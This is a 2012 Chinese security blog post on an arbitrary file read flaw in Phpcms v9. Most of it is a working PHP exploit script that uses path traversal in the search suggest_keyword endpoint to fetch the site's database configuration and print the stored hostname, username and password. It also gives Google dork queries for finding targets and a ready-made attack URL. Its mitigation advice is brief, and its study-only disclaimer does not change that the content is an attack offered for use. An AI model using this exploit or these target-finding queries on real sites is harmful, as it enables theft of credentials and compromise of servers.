首页 > Web安全 > Phpcms v9任意文件读取漏洞利用及修复
2012
07-25

Phpcms v9任意文件读取漏洞利用及修复

Phpcms V9近期又爆出一高危漏洞,利用者可以直接读取一些重要的敏感文件,危害数据库和服务器的安全.

本文主要介绍漏洞的相关利用细节,以及针对此漏洞的修复方案和注意事项.

附上利用exp:

Return的exp:

<————————————————————–>

<?php
/**
 * PHPcms V9 任意文件读取漏洞检测工具
 * @author Return Blog: www.creturn.com
 * Email: master@creturn.com
 *
 * 注意本程序仅供学习参考,不得用于非法互动
 * 否则后果自负,与本人无关!
 */

function showInfo() {

print '
***********************************************
* PHPcmsV9 Read All File ExpTool By: Return
*
* Blog: www.creturn.com
*
* Email:master@creturn.com
*
* Example: php exp.php wwww.phpcms.cn
***********************************************
';
}

$exp = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php';

//file_get_contents(''.$exp);
if(count($argv) < 2){
 showInfo();
}else{

 $exp = 'http://'.$argv[1].$exp;
 $data = @file_get_contents($exp);
 @file_put_contents('expDatabase.php', $data);
 if(strstr($data,'<html>')){
 showInfo();
 echo 'Not found !';
 exit();
 };
 $database = include 'expDatabase.php';
 showInfo();
 $out = 'HostName: '.$database['default']['hostname']."\n";
 $out .='DataBase:'. $database['default']['database']."\n";
 $out .='UserName:'. $database['default']['username']."\n";
 $out .='Password:'. $database['default']['password']."\n";
 if(!empty($database)){
 echo "Found it! :\n\n";
 echo $out;
 }
 @unlink('expDatabase.php');
}
?>

<————————————————————–>

 

 测试方法:

      Google         inurl:”index.php?m=content+c=rss+catid=10″

                             intitle:Powered by PHPCMS v9 

      http://www.nxadmin.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php

安全建议:

   1.禁止mysql数据库外链.

  2.给数据库单独的用户权限,不要给root权限.

  phpcms v9程序修复方案请关注官方补丁.本文仅供学习参考使用.

 

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据